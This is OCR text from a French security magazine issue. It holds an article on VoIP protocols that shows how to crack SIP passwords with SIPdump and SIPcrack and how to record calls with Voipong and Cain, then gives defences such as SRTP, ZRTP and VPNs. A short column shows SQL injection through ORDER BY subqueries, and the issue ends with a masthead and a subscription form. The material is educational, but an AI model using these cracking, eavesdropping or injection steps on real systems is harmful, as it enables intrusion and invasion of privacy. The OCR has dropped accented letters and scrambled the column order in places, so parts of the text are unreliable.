en plein essor aussi bien dans les entreprises que chez les particuliers, cette technologie de communication quest la VoIP est de plus en plus utilise, et va mme jusqu' supplanter la tlphonie traditionnelle.

est principalement depuis larrive de lADSL, que les entreprises et les particuliers ont compris quils pouvaient ainsi faire des conomies sur leur facture tlphonique. Mais quels sont les risques dutiliser la VoIP ? Est-ce une technologie sre et fiable ? La VoIP est une description relativement gnrique des communications de voix sur IP, pouvant tre divise en plusieurs protocoles et quipements pour sa mise en place. Puisque la VoIP utilise les rseaux TCP/IP, la voix sera transporte sur le rseau, de la mme faon que le sont les paquets de donnes lorsque vous envoyez un e-mail ou que vous naviguez sur le web. Les protocoles utiliss par la VoIP peuvent tre classs en deux catgories : les protocoles de signalisation (SIP, SCCP, H.323) et les protocoles de transport des donnes (RTP, RTCP). Lutilisation de ces deux catgories est obligatoire pour toute communication VoIP.

louverture de nombreux ports TCP et UDP de manire dynamique, et une gestion complexe avec le firewall. Il existe plusieurs types de communications. Les communications Point Point permettent deux interlocuteurs de communiquer entre eux. Un Gatekeeper peut tre utilis afin de traduire les adresses des interlocuteurs et de grer les autorisations(Figure 1 et 2). Les communications Multipoints entre plusieurs interlocuteurs ncessitent lutilisation dun MCU (Multipoint Control Unit) en plus du Gatekeeper. Le MCU permet de mixer les flux audios, de diffuser les messages de tonalit et de bip de mise en attente. Cest lui qui dfinira auprs du Gatekeeper le nombre de clients possibles pour la communication et les dbits disponibles (Figure 3).

sCCp

Cet artiCle explique...


Comment fonctionne la VoIP Quels sont les risques lis la VoIP

H.323

Ce qu'il faut savoir...


Connatre les bases des protocoles TCP/IP 74 HAKIN9 4/2009

Dvelopp par lUnion Internationale des Tl communications (UIT-T), H.323 nest pas un protocole mais un ensemble de protocoles de communication audio, vido et de donnes. Par exemple, H.225 sera charg de la gestion de lappel et H.245 du choix du codec utiliser. H.323 est moins rapide et moins souple que son principal concurrent, SIP. De plus H.323 ncessite

Le SCCP pour Skinny Client Control Protocol (parfois appel Skinny) est un protocole propritaire de Cisco utilisant le port 2000 et qui permet dtre plus simple que le H.323 pour certaines fonctions de tlphonie comme le transfert dappels ou la mise en attente, tout en utilisant moins de bande passante que ce dernier. Le principe de fonctionnement de ce protocole est relativement simple. Chaque communication doit passer par le Call Manager qui est charg de crer la ligne entre les deux

VoIP
correspondants, et une fois la mise en relation effectue, la communication seffectuera directement entre ces derniers, sans passer par le Call Manager. Pour ces communications avec le Call Manager, SCCP utilise le protocole de transport TCP permettant davoir une communication fiable, tandis que le transfert de la voix seffectue par UDP notamment par soucis de rapidit. Depuis la version 4.1 de Call Manager, la signalisation de SCCP est chiffre par SSL/TLS et les flux RTP par SRTP(Figure 4). donnes du Registrar, INVITE pour crer une nouvelle session, ACK pour la confirmer, CANCEL pour annuler un INVITE pas encore confirm et BYE pour mettre fin la session. Le serveur utilise des codes de rponse similaires HTTP (ex : 100 Trying, 200 OK, 404 Not Found). Il existe des codes spcialement conus pour SIP, les deux derniers chiffres de ces codes sont suprieurs ou gaux 80 (ex : 180 Ringing, 486 Busy) (Figure 5). est de ne pas chiffrer les flux, ce qui peut donc permettre des personnes malintentionnes dcouter les communications.

rtp

sip

Session Initiation Protocol (SIP) est le protocole de VoIP le plus utilis sur Internet. De plus, il est galement utilis pour dautres services tels que la visiophonie, les messageries instantanes et les jeux vido. SIP permet lauthentification ainsi que la localisation des personnes mettre en communication, son utilisation est limite la gestion des sessions audio/vido. Le transport des donnes sera effectu par un autre protocole tel que RTP. Les composants dune architecture SIP peuvent tre diviss en plusieurs catgories : les User Agents (softphones/ hardphones), le Registrar gre les requtes envoyes par les User Agents et enregistre dans une base de donnes, les coordonnes des User Agents sous la forme dune adresse IP et dune URI SIP (ex: sip: user@entreprise.com), le Proxy SIP interroge le Registrar pour rcuprer les adresses IP/URI afin de mettre en relation les User Agents.

Le protocole Real-time Transport Protocol (RTP) est charg de sassurer que le transport des flux audio et vido se fait en temps rel sur le rseau. tant un protocole de la couche application, ce nest pas lui directement qui va transporter les segments mais bien UDP ou TCP. RTCP peut tre utilis afin de garantir une qualit de service (QoS) des flux RTP. La principale faiblesse de ce protocole

Puisque la VoIP utilise le mme rseau que nos ordinateurs, contrairement la tlphonie classique qui utilise le Rseau Tlphonique Commut (RTC), la VoIP est soumise aux mmes risques que nos ordinateurs. Spam vocal, dnis de service, coute tlphonique, usurpation didentit (spoofing), dtournement dappel (call hijacking) font partis des principaux risques lis lutilisation de la VoIP. Pour bien comprendre les enjeux de la scurit de la VoIP, je vais vous montrer comment il est simple de cracker le mot de passe dun compte SIP et comment lon peut couter une

les risques de la voip

Figure 1. Communication Point Point

Le Proxy relaye les messages SIP (INVITE, ACK ) afin dtablir, contrler et terminer la communication. La communication audio sera directement tablie entre les User Agents. SIP fonctionne sur le modle clientserveur et utilise le port 5060 pour vhiculer ses messages. Les messages SIP envoys par le client sont au nombre de cinq, REGISTER pour enregistrer ladresse IP et lURI dans la base de
4/2009 HAKIN9 75

DBUTANTS
conversation VoIP. Attention, je rappelle quil est interdit de pirater le compte dune tierce personne et que lcoute dune communication est une atteinte la vie prive.

Cracker le mot de passe dun compte sip

Cela est possible grce la suite SIPcrack qui est compose de deux outils SIPdump pour capturer les authentifications SIP et

SIPcrack pour cracker le mot de passe dun compte SIP par bruteforce ou par dictionnaire. Son auteur, Martin J. Muench a crit ces outils en C et les met disposition sur son site internet www.codito.de. Dans un premier temps, il faut utiliser SIPdump afin de capturer les messages SIP. La commande utiliser est :
sipdump [-i interface] les_messages_sip

fichier_pour_sauvegarder_

Ex : sipdump i eth0 output

Figure 3. Communication Multipoints entre plusieurs clients

A noter que lon nest pas obliger de mentionner linterface sur laquelle on va sniffer les messages SIP(Figure 6). Chaque message SIP (REQUEST, INVITE) sniff par SIPdump crera une nouvelle ligne dans notre fichier. Vous y trouverez de nombreuses informations sous la forme suivante :
IP_appelant IP_appel Login_ appelant domaine_appelant appel nonce cnonce nonce_count qop algorithme_utilis hash type_message_sip adresse_sip_

A noter : nonce, cnonce, nonce_count, qop sont des champs que lon peut retrouver dans len-tte dauthentification de SIP. Maintenant que lon a rcolt des informations sur le compte SIP, nous allons utiliser SIPcrack pour cracker le hash. Tout dabord il faut savoir quil existe deux modes dans SIPcrack, lun ayant plus dintrts que lautre. Le premier (avec loption s) va tester les mots de passe provenant de stdin et le second, bien plus intressant, avec loption w, prend en paramtre un fichier qui peut tre un dictionnaire ou bien un fichier gnr par un autre logiciel pour faire du bruteforce. La commande que lon utilisera la plus souvent sera de la forme :
sipcrack w fichier_dictionnaire Ex : sipcrack w dictionary sipdump_file(Figure 7) fichier_cr_par_sipdump

Ensuite sipcrack vous demandera de choisir quel hash vous voulez cracker parmi la liste de comptes SIP gnre par sipdump.
76 HAKIN9 4/2009

VoIP
Suivant la taille de votre dictionnaire et la complexit du mot de passe, la dure pour cracker le mot de passe peut passer de quelques secondes pour un mot de passe de 6 chiffres plusieurs jours sil est compos de lettres majuscules et minuscules, chiffres et que sa longueur dpasse les 10 caractres(Figure 8). clbre CAIN est galement capable denregistrer une conversation VoIP. Pour cela il faut simplement cliquer sur configure puis slectionner linterface sur laquelle on va sniffer les conversations VoIP(Figure 11). Dabord cliquez sur la seconde icne en haut gauche afin de commencer sniffer. Pour voir les rsultats concernant la VoIP, choisissez longlet Sniffer en haut, puis longlet VoIP en bas. Ensuite pour couter la conversation enregistre, faites un clic droit sur la ligne de la conversation puis Play (Figure 12). en ladaptant ses caractristiques. La protection physique, la mise jour des OS et logiciels utiliss, lutilisation de firewall et du chiffrement des flux sont toujours utiles pour rduire les risques. Nous allons dtailler les deux faiblesses rencontres lors de la prcdente partie : le mot de passe et le chiffrement.

coute dune conversation sur voip

le mot de passe

Il existe plusieurs logiciels capables dcouter et denregistrer une conversation VoIP. SIPtap est certainement celui qui fait le plus peur aux RSSI car SIPtap est une preuve de concept (PoF) qui permet denregistrer les conversations en fichiers wav pouvant tre classs par victime, contenu et par date. Un pirate pourrait galement implmenter SIPtap dans un cheval de Troie et ainsi espionner facilement sa victime. SIPtap nest pas le seul logiciel capable denregistrer des conversations Voip, par exemple, Vomit, Voipong, ilty en sont galement capable. Vomit fonctionne avec tcpdump mais permet seulement lenregistrement du protocole SCCP. Voipong est simple dutilisation et supporte tous les protocoles mentionns dans la premire partie. Ilty est un projet franais, dvelopp par Nicolas Bareil, permettant denregistrer mais galement dcouter en direct une conversation. Pour enregistrer la conversation nous allons utiliser Voipong, avec la commande :
voipong f

Comment se protger ?

La politique de scurit de la VoIP doit tre la mme que le reste du SI tout

La politique de scurit des mots de passe doit galement sappliquer aux comptes de la VoIP. Ainsi il est recommand de bien choisir son mot de passe : au minimum, huit caractres comprenant des chiffres, des lettres majuscules et minuscules et des caractres spciaux. Il faut

Figure 6. Utilisation de SIPdump

Loption f permet de ne pas excuter Voipong en tant que deamon (tche de fond), les autres options tant accessibles avec loption h. Voila quoi peut ressembler Voipong en attente dune communication VoIP (Figure 9). Ds que Voipong dtecte une communication VoIP, il affiche ladresse IP des deux interlocuteurs et le port utilis par la communication pour chacun des participants. Voipong indique galement lencodage quil utilise pour lenregistrement (Figure 10). Ensuite vous trouverez un rpertoire output contenant le fichier audio au format .wav dans le rpertoire o vous avez utilis loutil Voipong. Pour ceux qui utilisent Windows ou ceux qui sont allergiques Linux et la ligne de commande, le
4/2009 HAKIN9 77

DBUTANTS
galement bannir lutilisation de mots ou de dates de naissances. Le premier sera cass trs rapidement par une attaque par dictionnaire quelle que soit la langue utilise. Et, le second peut facilement tre trouv par une personne de votre entourage ou en faisant une petite recherche sur vous. Suivant la complexit de votre mot de passe, le dure ncessaire pour le trouver peut varier de quelques minutes voir quelques secondes plusieurs jours. Il est galement conseill de le changer frquemment toujours afin daugmenter la scurit. Donc si vous suivez mes conseils vous aurez un mot de passe efficace et moins de chance que lon usurpe votre identit.

les diffrents chiffrements notre disposition

Figure 10. Utilisation de Voipong Enregistrement d'une communication VoIP


78 HAKIN9 4/2009

La faiblesse de la VoIP est le protocole RTP ne permettant pas le chiffrement des communications. Afin de combler cette faille, de nouveaux protocoles (SRTP, ZRTP) ont vu le jour, dans le but de scuriser les communications VoIP, mais lutilisation de techniques dites classiques de chiffrement (VPN, TLS) est galement possible. Tout dabord, Secure Real-time Transport Protocol (SRTP) est un profil de scurit de RTP. Il lui apporte de nouvelles fonctionnalits tel que le chiffrement, lauthentification et lintgrit des messages. SRTP utilise par dfaut lalgorithme de chiffrement symtrique AES (Advanced Encryption Standard) avec une longueur de cl de 128 bits. Pour information, AES est lalgorithme de chiffrement choisi par le gouvernement des Etats-Unis pour leurs donnes confidentielles. Afin de facilit sa mise en place, SRTP est implment dans certains tlphones VoIP Cisco par exemple et galement dans certains softphones (KPhone, Twinkle, Gizmo5). ZRTP (Zimmermann Real-time Transfert Protocol) est en fait un complment du protocole SRTP. Invent par Philip Zimmermann, le crateur du clbre logiciel de chiffrement des e-mails, PGP (Pretty Good Privacy), ZRTP a pour objectif de garantir lchange de cl en suivant la mthode Diffie-Hellman. Celle-ci permet deux entits distinctes de choisir une cl sans quune tierce entit puisse la dcouvrir. tant vulnrable aux attaques MitM (Man in the Middle), ZRTP implmente

VoIP

Figure 13. Interface de Zfone asymtrique pour lauthentification (ex : RSA) puis un chiffrement symtrique pour la transmission des donnes (ex : AES).

Conclusion

un contrle supplmentaire nomm Short Authentification String permettant de dtecter lventuelle prsence dun MitM. Zimmermann a galement dvelopp Zfone, un logiciel multi-plateformes intgrant ZRTP afin de scuriser vos communications X-Lite, iChat ...(Figure 13) Des techniques gnralistes de chiffrement des donnes peuvent tre utilises pour les communications VoIP comme par exemple un VPN et SSL/TLS. Un VPN (Virtual Private Network) permet de transfrer des donnes entre deux

sites en toute scurit. On peut trs bien imaginer, que les communications VoIP passent par le VPN et soient ainsi scurises. Cette solution est trs simple mettre en place et peut donc tre utilise dans des entreprises possdant dj un VPN. SSL/TLS est un protocole utilis sur Internet pour scuriser des changes, il est notamment utilis sur les sites internet dont ladresse commence par https:// (comme ce que lon peut retrouver sur le site dune banque ou dun e-commerce). Ce protocole utilise un chiffrement

Comme on a pu le voir, lutilisation de la VoIP la place de la tlphonie classique facilite la vie des pirates. Mais il est tout a fait possible de se protger contre ce problme. Une tude ralise par NetIQ, auprs de RSSI nous fait remarquer que peu dentre eux considrent la scurit de la VoIP comme majeure et le classement tabli par le SANS Institute montre la mme tendance, la VoIP fait partie des 20 risques de scurit majeurs (classement 2007). Il est donc important de se rappeler que les flux VoIP sont soumis aux mmes vulnrabilits que les autres flux IP.

Sur Internet

http://www.frameip.com Contient de nombreuses informations sur TCP/IP, http://www.journaldunet.com/solutions/ 0702/070205-securite-voip-toip.shtml Article sur la scurit de la VoIP, http://fr.wikipedia.org/wiki/Session_ Initiation_Protocol Article Wikipdia sur SIP, http://fr.wikipedia.org/wiki/Voip Article Wikipdia sur la VoIP.

propos de l'auteur

Figure 12. Utilisation de Cain Enregistrement de la communication VoIP

Steeve BARBEAU est tudiant en informatique et passionn par la scurit des systmes d'information depuis des annes. Suite ses tudes, il souhaite tre consultant en scurit.

4/2009 HAKIN9

79

FEUILLETON

Injections SQL,
encore et toujours
YveS Le PrOvOSt

Les attaques par injection SQL remontent plusieurs annes. On pourrait les penser en voie de disparition mais c'est pourtant loin d'en tre le cas. Les diffrentes injections que l'on peut qualifier de triviales, utilises au dbut pour contourner une demande de mot de passe, ne sont plus (ou presque plus) d'actualit, mais il demeure un nombre assez important de variables "injectables".
en bits et ce pour chaque diteur de base de donnes. Nouvelle attaque, nouvelle parade : les dveloppeurs se sont mis vrifier toutes les donnes issues de l'utilisateur. Toutes ? Non, certaines rsistent encore et toujours l'envahisseur... Celles dans lesquelles, normalement, il n'est pas possible d'injecter. Normalement, car sur une application dont le contrle est effectu ct client (dans son navigateur), tout est possible : l'utilisation de ce que l'on appelle un "proxy" local permet de modifier toutes les donnes sortantes du navigateur et destination du serveur. Quelles sont donc ces donnes "sensibles", oublies des dveloppeurs ? On pourrait citer tout ce qui n'est pas contenu dans la page Web en elle-mme et qui est potentiellement utilis dans le code source : User-agent, cookies, ... Bref, tout ce qui fait partie de l'entte HTTP. Ces donnes ne sont pas non plus couramment injectables. Il reste alors les dernires donnes dans lesquelles on penserait injecter : celles dans lesquelles il n'est pas prvu d'crire, et qui ne contiennent normalement qu'une seule petite information. Par exemple, l'ordre de tri d'un tableau, le nombre d'informations contenues dans celui-ci (mots cls LIMIT ou TOP), etc. Qui imaginerait que l'ordre d'un tableau puisse tre contourn pour servir rcuprer des donnes ? Est-il vraiment possible d'injecter dans ces donnes ? La rponse est oui, mais... Oui, pour le cas du tri d'un tableau ; peut-tre pour les LIMIT. Aussi tonnant qu'il puisse paraitre, une requte SQL accepte trs bien un deuxime ordre de tri, qui peut tre notamment une sous-requte :
"SELECT * FROM personne ORDER BY age,(SELECT IF (1=1,prenom,adresse));"

i ces injections originelles taient nantes (elles permettaient quand mme un accs non autoris), elles ne permettaient pas non plus en l'tat la rcupration du contenu de la base, ni son altration. Il fallait pour cela utiliser des requtes imbriques et esprer l'affichage du rsultat dans la page Web. Ces attaques existent car les dveloppeurs n'ont pas pens vrifier correctement les donnes provenant de l'utilisateur. Une fois alerts, ils ont donc commenc par "patcher" plus ou moins efficacement : utilisation de magic_quote_gpc, ou ajout automatique de "\" dans les donnes. Si cela peut sembler efficace sur les chaines de caractres, cette faon de faire a ses limites : les valeurs numriques par exemple ne sont pas fermes par des guillemets, il est alors toujours possible d'y ajouter des mots cls SQL : UNION SELECT ... Le problme de l'exploitation de ces injections tait alors de rcuprer les donnes. En effet, le contenu de la base ne s'affichait gnralement pas dans la page. Aprs la scurit par l'obscurit, la scurit par la ccit ? Comme la premire, celle-ci ne rsiste pas longtemps et a donn naissance une exploitation dite "en aveugle". En effet, si la rponse du serveur ne contient pas les donnes, elle renvoie nanmoins une information cruciale : l'excution correcte ou non de la requte SQL injecte, et donc un rsultat sous forme binaire. Il suffit alors de demander bit bit chaque information contenue dans la base de donnes, ce qui est ralisable de par la prsence de fonctions permettant de fractionner chaque lment
80 HAKIN9 4/2009

La diffrenciation permettant d'exploiter une injection en aveugle est alors base sur l'ordre de tri du tableau : selon la valeur du bit X, on tudiera le tri effectu. Pour les fonctions "LIMIT", la possibilit d'injecter dpend de la base de donnes utilise : certaines autorisent l'valuation d'une requte SQL, d'autres non. Par exemple, la requte suivante est valide : "SELECT TOP (SELECT 1) line FROM test;" Quoiqu'il en soit, il demeure une seul faon de se protger efficacement : en vrifiant chaque donne issue de l'utilisateur. Il est noter que l'utilisation de mcanismes comme les "Prepared Statement" constitue une bonne faon de vrifier et de dcorrler les donnes issues des utilisateurs des donnes "injectes" dans les bases.

propos de l'auteur

Rfrences :

[1] http://www.hsc.fr/ressources/ presentations/clusir_SGBD/ [2] http://www.w3schools.com/Sql/sql_top.asp

Yves Le Provost est un consultant en scurit informatique franais travaillant pour le cabinet HSC (Herv Schauer Consultants - http: //www.hsc.fr) depuis 2008. Il ralise des audits, tudes et tests d'intrusion. Yves peut tre contact l'adresse suivante : Yves.le-Provost@hsc.fr.

EN SEPTEMBRE
Dans le prochain numro
FEUILLETON
Un regard prcis et pertinent sur la scurit informatique.

Toute l'actualit du prochain numro sur le site www.hakin9.org/fr.

DOSSIER
Larticle de Lionel Guedon prsente une technique utilise pour pouvoir gnrer un faux point daccs a partir de lapplication Karmetasploit prsente dans la distribution Backtrack Linux. Il pour but de sensibiliser les personnes de la dangerosit de cette attaque lorsquils se connectent aux Hotspot WIFI. Il dcrit aussi dventuels prcautions a prendre pour se protger.

SUR LE CD
Comme toujours dans chaque numro nouv vous proposons hakin9.live avec la distributions BackTrack 3. Applications commerciales en versions completes et des programmes en exclusivit, pour la scurit, la protection et la stabilit de votre systme. Des tutoriels vido pratiques afin de mieux comprendre les mthodes offensives. Vous souhaitez collaborer a la rdaction des articles? N`hsitez pas nous contacter! FR@HAKIN9.ORG

EN BREF
L`actualit du monde de la scurit informatique et des systmes d`information. Les nouvelles failles, les intrusions web et les nouvelles applications.

PRATIQUE
Cette rubrique vous permettra de connatre une mthode dattaque et dappliquer les moyens

DATA RECOVERY
Dans cette rubrique vous allez suivre les risques lis aux donnes, de la cl USB au serveur, les risques de pertes, mais aussi de vol de donnes, les moyens de protectios lis ces priphriques.

TECHNIQUE
Cette fois-ci nous vous prsenterons un article Slitaz 2.0 par Julien Smyczynski.

Ce numro sera disponible en Sepembre/Octobre La rdaction se rserve le droit de modifier le contenu de la revue.

Le bimestriel hakin9 est publi par Software Press Sp. z o. o. SK Prsident de Software Press Sp. z o. o. SK: Pawel Marciniak Directrice de la publication: Ewa Lozowicka Redacteur en chef: Jakub Borowski jakubborowski@hakin9.org Fabrication: Marzena Polanska marzena.polanska@software.com.pl DTP : Marcin Zikowski Graphics & Design Studio http://www.gdstudio.pl Couverture : Agnieszka Marchocka Couverture CD : Przemyslaw Banasiewicz Publicit : publicite@software.com.pl Abonnement : software@emdnl.nl Diffusion : Ilona Lepieszka Ilona.lepieszka@software.com.pl Dpt lgal : parution ISSN : 1731-7037 Distribution : MLP

Parc dactivits de Chesnes, 55 bd de la Noire BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software Press Sp. z o. o. SK, tous les droits rservs Bta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Rgis Senet, Paul Amar, Julien Smyczynski Les personnes intresses par la coopration sont invites nous contacter : fr@hakin9.org Prparation du CD : Rafal Kwany Imprimerie, photogravure : ArtDruk www.artdruk.com Adresse de correspondance : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tl. +48 22 427 32 87, Fax. +48 22 244 24 59 www.hakin9.org

Abonnement (France mtropolitaine, DOM/TOM) : 1 an (soit 6 numros) 35 La rdaction fait tout son possible pour sassurer que les logiciels sont jour, elle dcline toute responsabilit pour leur utilisation. Elle ne fournit pas de support technique li linstallation ou lutilisation des logiciels enregistrs sur le CD-ROM. Tous les logos et marques dposs sont la proprit de leurs propritaires respectifs. Le CD-ROM joint au magazine a t test avec AntiVirenKit de la socit G Data Software Sp. z o.o. AVERTISSEMENT Les techniques prsentes dans les articles ne peuvent tre utilises quau sein des rseaux internes. La rdaction du magazine nest pas responsable de lutilisation incorrecte des techniques prsentes. Lutilisation des techniques prsentes peut provoquer la perte des donnes !

82

HAKIN9 5/2008

La rdaction se rserve le droit de modifier le contenu de la revue

tudiants un abonnement en prix unique destin vous !

35

30

Envoyez nous votre document dtudiant scann et notre bon dabonnement, vous recevrez vos magazines juste votre domicile ! Rejouissez-vous de votre jeunesse et sautez sur loccasion!

Je souhaite mabonner au magazine Hakin9


6 numros pour un prix unique !
1 Coordonnes postales : 2 Je rgle par : Carte bancaire n CB expire le code CVC/CVV Virement bancaire : Nom banque : Socit Gnrale Chasse/Rhne banque guichet Code postal : Ville : Pays : numro de compte cl 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP date et signature obligatoires type de carte ........................................................................................................ Nom : Prnom : Adresse :

Date et signature